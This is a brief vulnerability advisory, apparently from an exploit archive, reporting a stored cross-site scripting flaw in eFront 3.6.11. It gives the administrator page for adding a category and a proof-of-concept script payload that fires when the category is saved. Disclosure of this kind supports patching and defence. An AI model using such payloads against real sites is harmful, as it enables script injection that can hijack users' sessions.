# Affected software: efrontlearning # Type of vulnerability: stored xss # URL: http://demo.efrontlearning.net/ # Discovered by: Provensec # Website: http://www.provensec.com # Description: Open Source e-Learning # Proof of concept #version:eFront 3.6.11 goto addd new category http://demo.efrontlearning.net/enterprise/www/administrator.php?ctg=directions and add new with xss payload "><img src=d onerror=confirm(1);> and save it payload will execute #screen:http://prntscr.com/69zhge Source